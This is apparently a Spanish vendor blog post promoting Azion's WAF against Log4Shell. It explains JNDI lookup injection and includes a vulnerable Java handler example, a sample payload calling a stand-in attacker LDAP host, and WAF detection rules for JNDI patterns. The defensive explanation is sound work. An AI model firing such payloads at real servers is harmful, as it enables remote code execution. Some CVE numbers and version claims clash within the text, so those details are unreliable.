Desde que fue descubierto el exploit CVE-2021-44228 (también conocido como Log4Shell), Apache ha lanzado diversos parches (patches) para solucionar las vulnerabilidades en su popular software de registro Log4j. La velocidad con la que se ha desarrollado esta historia demuestra cómo, incluso después de un ciclo de parcheo (patching), los ataques de día cero representan una amenaza para los equipos de seguridad, ya que los cibercriminales buscan constantemente nuevos vectores de ataques y alternativas para burlar las medidas de protección.
Debido a la gravedad de esta amenaza, es fundamental que los equipos de seguridad confíen en soluciones sólidas que no solo protejan contra exploits conocidos, sino también contra ataques nuevos y emergentes. Este artículo analizará cómo funciona el exploit Log4Shell, además proporcionará una discusión en profundidad de cómo WAF de Azion protege no solo contra el CVE 2021-44228, sino también contra las variaciones actuales y otras que seguramente se desarrollarán en los próximos días y semanas.
¿Qué es CVE 2021-44228 y cómo funciona?
CVE 2021-44228 es una vulnerabilidad RCE (Remote Code Execution, ejecución remota de código) en Log4j, una popular herramienta de registro de código abierto que se usa ampliamente en aplicaciones Java. Esta vulnerabilidad permite a los atacantes cargar código desde una fuente externa y ejecutarla en los servidores. Esta CVE afecta de la versión 2.0-beta-9 a la 2.17.1 de Log4j. Se descubrió posteriormente que el parche inicial, 2.15, estaba incompleto, lo que resultó en la emisión de otra vulnerabilidad crítica, CVE-2021-45056, que también detalla la amenaza de RCE en versiones anteriores a la 2.16 cuando se usa con ciertas configuraciones de Log4j no predeterminadas. La recomendación para todos los equipos que usan Log4j es hacer una actualización a la versión más reciente (actualmente la 2.17.1) tan pronto como sea posible, así como estar atentos a nuevas noticias sobre esta amenaza a medida que el equipo de seguridad de Apache continúa investigando.
Para entender el ataque
La vulnerabilidad es resultado del “JDNILookup plugin”, el cual fue agregado a la versión 2 de Log4j y permite que un programa Java localice datos al interactuar con servicios como LDAP, DNS y RMI. Sin embargo, una funcionalidad por defecto de Log4j llamada “Message Lookup Substitution” (sustitución de búsqueda de mensajes) permite que ciertas cadenas (strings) puedan ser reemplazadas, lo que facilita a los atacantes realizar RCE en la aplicación que registró la cadena.
Por ejemplo, un atacante podría escribir una cadena como ${jndi:ldap://some-attacker.com/a} y agregarla a cualquier entrada (input) registrada, como los encabezados User-Agent, lo que provocaría que la instancia vulnerable de Log4j realice consultas LDAP al URI incluido. El servidor LDAP luego devolverá la información del directorio, lo que incluye una clase JAVA que se carga en la memoria y se ejecuta mediante la instancia de Log4j.
A continuación, se proporciona un ejemplo de código más detallado, como se describe en un de la empresa de seguridad de código abierto LunaSec:
Ejemplo de código de LunaSec:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
/**
* A simple HTTP endpoint that reads the request's x-api-version header and logs it back.
* This is pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String apiVersion = he.getRequestHeader("X-Api-Version");
// This line triggers the RCE by logging the attacker-controlled HTTP header.
// The attacker can set their X-Api-Version header to: ${jndi:ldap://some-attacker.com/a}
log.info("Requested Api Version:{}", apiVersion);
String response = "<h1>Hello from: " + apiVersion + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
CVE 2021-44228 versus CVE 2021-45056
En la versión 2.15, el parche lanzado inicialmente por Apache para combatir el exploit Log4Shell deshabilita el acceso a JNDI de forma predeterminada para evitar conexiones remotas en la búsqueda de mensajes. Sin embargo, luego se descubrió que la RCE aún era posible en algunos ambientes si los equipos habían habilitado manualmente una configuración de registro específica, formatMsgNoLookups. Apache explica este problema con más detalle en el sitio web de Log4j:
Cuando la configuración de registro usa un Pattern Layout (diseño de patrón) no predeterminado con un Context Lookup (búsqueda de contexto) —por ejemplo, $${ctx:loginId}—, los atacantes que tienen control sobre los datos de entrada de Thread Context Map (MDC) pueden crear datos de entrada maliciosos con el uso de un patrón de búsqueda JDNI, lo que da como resultado una filtración de información, así como la ejecución remota de código en algunos ambientes y la ejecución local de código en todos los ambientes. (Apache)
En la versión 2.16, la funcionalidad de búsqueda de mensaje fue completamente eliminada, y ahora Log4j deshabilita el acceso a JNDI de forma predeterminada.
¿Cómo WAF de Azion protege contra el Log4Shell?
Para prevenir el CVE 2021-44228, el equipo de seguridad de Azion implementó la regla predeterminada rx:jndi:dns\jndi:rmi\jndi:ldap para evitar que los patrones de búsqueda de JNDI permitan a los atacantes utilizar los diferentes servicios de directorio (DNS, RMI y LDAP) con los que JNDI se comunica.
El otro parámetro es “match zone” (zona de coincidencia), donde nuestro WAF busca el patrón y evita que haya SQL y RCE en el cuerpo de la solicitud, en la solicitud de parámetros de consulta (cadena de consulta), en el encabezado de solicitud Cookie o User-Agent, o en la X-Api-Version, como se puede observar continuación:
mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie|$HEADERS_VAR:User-Agent|$HEADERS_VAR:X-Api-Version
Aunque los encabezados HTTP parecen ser el lugar más común para insertar cadenas, los atacantes ciertamente irán más allá de los vectores comunes de ataque para evadir los bloqueos creados por las organizaciones para reforzar sus medidas de protección. La revisión de cadenas en cada una de estas “zonas de coincidencia” garantiza que nuestro WAF pueda detener a los atacantes que buscan utilizar nuevas cadenas y vectores de ataque.
La regla de Azion entró en vigor el sábado 11 de diciembre de 2021 a las 8:40 p.m. PST (UTC-8). Esta regla protege a todos los clientes de Azion que tienen WAF habilitado y en modo de bloqueo. También protege a los clientes contra CVE 2021-45056 si la RFI (inclusión remota de archivos) está habilitada en cualquier nivel de sensibilidad. Para instrucciones más detalladas sobre cómo implementar esta regla, puedes consultar nuestro artículo previo que explica este tema.
Para obtener una vista panorámica de cómo WAF de Azion protege las aplicaciones, los clientes de Azion pueden ir a la pestaña WAF en nuestro panel de Real-Time Metrics para ver el número de solicitudes totales y las que fueron bloqueadas, qué regla desencadenó el bloqueo y dónde ocurrió. Además, se puede obtener una visión detallada de solicitudes específicas con nuestro motor de consultas complejas, Real-Time Events.
Protección contra variantes
Como ya fue mostrado, un WAF eficaz puede proteger a las empresas contra RCE, RFI y otros ataques a aplicaciones web, pero no todos los WAF son iguales. Tradicionalmente, los WAF bloquean ataques mediante comparaciones delas solicitudes con firmas de ataque de patrones ya conocidos. Si el patrón coincide con la nueva solicitud, el WAF puede filtrar la solicitud o generar una alerta. Sin embargo, este tipo de protección solamente incluye patrones de ataque conocidos, y no las más nuevas y complejas variantes que se puedan detectar.
Para estar al día con estas variantes, los WAF basados en firmas deben ser actualizados constantemente con nuevas firmas para mantener su eficiencia. Mientras más y más firmas son agregadas, se incrementa el tiempo y los recursos necesarios para filtrar las solicitudes, lo que resulta en una disminución del desempeño y aumento de costos. Por lo tanto, cada nueva firma solo protege contra métodos de ataque conocidos, lo que deja a los WAF basados en firma vulnerables a las amenazas de día cero a medida que los atacantes desarrollan nuevos vectores de ataque y formas de burlar las reglas comunes del WAF.
WAF de Azion proporciona un desempeño y seguridad superiores a los WAF basados en firmas al usar un método basado en puntaje que analiza la sintaxis de diferentes patrones de ataques y los condensa en conjuntos de reglas simples y eficaces para diferentes tipos de ataques, como SQL, RFI y Directory Traversal. Por ejemplo, los usuarios que habilitan RFI activan un conjunto de reglas que asigna un puntaje a diferentes criterios que son comunes en la carga útil (payload) de RFI. Normalmente, criterios como los siguientes que se encuentran en el cuerpo, la cadena de consulta o las cookies aumentan el puntaje de una solicitud:
- http://
- ftp://
- php://
Si el puntaje de una solicitud supera cierto límite —que nuestros clientes de WAF pueden ajustar para obtener la sensibilidad deseada—, WAF de Azion bloqueará la solicitud automáticamente. Con CVE 2021-45056, la incorporación de patrones de búsqueda de JDNI a esta categoría de ataque significa que cualquier intento de uso de jndi:dns, jndi:rmi o jndi:ldap pondría la solicitud por encima del límite, lo que proporciona la misma protección tanto para CVE 2021-45056 como para CVE 2021-22448.
En este y en muchos otros casos, nuestro WAF basado en puntaje permite a Azion bloquear, de forma proactiva, variaciones de patrones de ataque antes de que hayan sido reconocidos por la comunidad de investigación de amenazas, lo que proporciona una protección más sólida contra los ataques en desarrollo que la que pueden ofrecer los WAF basados en firmas.
Conclusión
Log4Shell es una amenaza crítica y generalizada que probablemente causará estragos en los sistemas de seguridad por un buen tiempo. Para mantenerse protegidos, los equipos deben seguir la recomendación de CISA de instalar un WAF con reglas que se actualizan automáticamente y sus pautas para identificar, así como para mitigar, activos vulnerables. Con WAF de Azion, que utiliza protección basada en puntaje que filtra las solicitudes en el edge, las organizaciones pueden obtener una protección más eficaz y sólida contra estas amenazas críticas.
